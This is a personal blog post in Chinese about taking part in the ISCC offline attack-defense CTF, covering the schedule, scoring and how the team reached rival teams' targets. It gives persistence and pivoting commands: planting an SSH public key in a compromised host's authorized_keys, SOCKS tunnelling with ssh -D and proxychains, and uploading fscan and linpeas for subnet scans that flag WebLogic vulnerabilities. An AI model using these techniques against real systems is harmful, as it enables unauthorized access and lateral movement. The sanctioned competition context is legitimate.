第一次参加ISCC线下分组对抗赛(改名为博弈对抗赛),做一个简单的记录(不含WriteUp)。
2025-01-01T13:31:20.png

比赛流程

时间安排:

  • 8:00-9:00 选择题 (做完就可以开始关卡题)
  • 9:00-12:00 关卡题
  • 12:00-19:00 对抗题
  • 19:00-20:00 写报告

    大体上的安排如上,但关卡题上午总共只有支队伍解出,主办方将时间延长至19:00

    出题

    每个队伍的参赛选手都要出两道题目,任意方向。
    在报道当天提交。

    选择题

    和线上赛的选择题差不多,感觉挺难的,凭感觉选(可以找找题库存到本地).每个人的60题,每题10分,个人满分600,队伍满分1800.
    每个人拿个四百多分就挺不错了.(我们队伍选择题得分为450、460、470,共计1380分)
    应该拉不开什么距离。

    关卡题

    总共六道题。
    每个人分配两道题,只有Misc、Re和Moblie。可以通过比赛网站上的队伍空间和队友传输文件。
    每个方向两道题目。
    最终只有一题Re和一题Moblie有解,其余均为0解。(Misc题目真抽象

对抗题

对抗题分为私地高地
私地是一道Pwn和一道Web(分别一个ip)
高地有四个ip,在比赛结束前两个小时左右通过公告通知。
【网络拓扑-随便画的】
2025-01-01T13:29:32.png
选手的网络只能自己队伍的私地ip,无法直接访问其他队伍的私地。
(因为第一次参加,不熟悉流程,导致拿到自己队伍的私地之后不知道怎么攻击其他队伍,错过好多分)

私地

分享一下我们队伍是怎么攻击其他队伍的私地的:
队友拿下自己的私地pwn题后,使用脚本运行的shell是一个伪shell,靶机上也没有相关环境,且靶机不能访问本地电脑,因此无法反弹shell。
(听参赛代表发言,他们队伍使用的是msf正向连接,不太熟悉)
我们在拿到pwn的shell后,在目标机器上生成ssh的公钥和私钥

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/st4rry/.ssh/id_rsa):
然后一直回车

首先尝试了使用私钥连接,但是需要密码。接着将自己的公钥写入靶机的~/.ssh/authorized_keys文件中,就可以使用ssh直接连接,获得稳定的shell

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPyMVTrAI1L8xWcpUAFHafbr61S8Vccp9lcw5usIcGBW root@St4rry' >> ~/.ssh/authorized_keys

我们队伍是使用 ssh -D进行代理,配合 proxychains4使用

ssh -D 1080 -C -q -N iscc@192.168.38.143

修改proxychains4的配置文件

$ vim /etc/proxychains4.conf

[ProxyList]
socks5 127.0.0.1 1080

需要走代理的时候执行

$ proxychains4 python3 exp.py

其他队伍的私地ip需要自己扫描(B段)
推荐使用fscan或者linpeas.sh,nmap不作为首选
将fscan或者linpeas.sh通过scp上传到靶机上

scp /path/to/fscan iscc@192.168.38.152:/home/iscc/fscan

fscan扫描fscan -h 192.168.1.1/16 -nobr 扫描B段,不爆破,还可以指定端口-p
linpea.sh扫描 ./linpeas.sh -d 192.168.1.1/16 -q ,扫描B段,也可以使用-p选项指定端口

之后攻击其他队伍的私地就需要走代理

proxychain python3 exp.py

在其他队伍私地上执行getflag即可获得有效flag。(如果提交显示flag错误,最好重新获取一下flag,flag可能更新了,以免错过分数)
或者直接在目标私地上执行hereiam -t 签名,签名用一次就会更新,不太方便(可能之后比赛就不会变了)

高地

对于高地的攻击也是需要将自己的私地作为跳板机进行攻击的。
代理方法同上。
没时间对高地进行测试,只做了简单的扫描

========================> 1 <=======================
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 218 个有效端口
[+] 端口开放 192.168.30.59:10001
[+] 端口开放 192.168.30.59:22
[+] 存活端口数量: 2
[*] 开始漏洞扫描...
[!] 扫描错误 192.168.30.59:10001 - Get "http://192.168.30.59:10001": net/http: HTTP/1.x transport connection broken: malformed HTTP status code "~"
[!] 扫描错误 192.168.30.59:22 - 扫描总时间超时: context deadline exceeded
[+] 扫描已完成: 2/2
[*] 扫描结束,耗时: 6.513360655s
======================> 2 <============================
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 65535 个有效端口
[+] 端口开放 192.168.30.41:22
[+] 端口开放 192.168.30.41:12091
[+] 存活端口数量: 2
[*] 开始漏洞扫描...
[!] 扫描错误 192.168.30.41:12091 - Get "http://192.168.30.41:12091": malformed HTTP status code "is"
[!] 扫描错误 192.168.30.41:22 - 扫描总时间超时: context deadline exceeded
[+] 扫描已完成: 2/2
[*] 扫描结束,耗时: 40.505992969s
======================> 2 <============================
[*] 扫描类型: all, 目标端口: 1-65535
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 65535 个有效端口
[+] 端口开放 192.168.30.53:22
[+] 端口开放 192.168.30.53:1337
[+] 端口开放 192.168.30.53:1377
[+] 存活端口数量: 3
[*] 开始漏洞扫描...
[*] 网站标题 http://192.168.30.53:1337 状态码:200 长度:2369   标题:ISCC Web常态化练习系统
[*] 网站标题 http://192.168.30.53:1377 状态码:200 长度:3077   标题:ISCC Web常态化练
======================> 2 <============================
[*] 最终有效主机数量: 1
[*] 共解析 65535 个有效端口
[+] 端口开放 192.168.30.49:22
[+] 端口开放 192.168.30.49:7001
[+] 存活端口数量: 2
[*] 开始漏洞扫描...
[*] 网站标题 http://192.168.30.49:7001 状态码:404 长度:1164   标题:Error 404--Not Found
[+] 发现指纹 目标: http://192.168.30.49:7001 指纹: [weblogic]
[!] 扫描错误 192.168.30.49:22 - 扫描总时间超时: context deadline exceeded
[+] [发现漏洞] 目标: http://192.168.30.49:7001
  漏洞类型: poc-yaml-weblogic-ssrf
  漏洞名称:
  详细信息: %!s(<nil>)
[+] [发现漏洞] 目标: http://192.168.30.49:7001
  漏洞类型: poc-yaml-weblogic-cve-2020-14750
  漏洞名称:
  详细信息: %!s(<nil>)

扫到了一个WebLogic的CVE,也没有时间做测试了(太卡了,体验贼差)

提交报告

按照模版提交报告即可。

赛后感

19:00,攻击停止,积分总榜停留在第18名,以为只能拿一个二等奖来着。第二天颁奖,出乎意料的是第6名(最终总分是按照每个赛道分数进行赋分,详细分数计算见官方参赛指南),一等奖。全靠队友带飞。
赛后听说有好多队伍拿到了自己的私地后不知道怎么攻击其他队伍的私地和高地,导致对抗赛攻击得分为0,还被攻击了很多。
iscc对抗赛的这个形式,要想到使用代理,将自己的私地作为跳板机还是很重要的,个人认为ssh -D是最简单的方法了,不需要上传额外的工具。代理访问web网站很卡,不知道其他的代理隧道方式的体验怎么样。
我宣布,ISCC是人民的好比赛!!!

Last modification:January 5, 2025
请我喝瓶冰阔落吧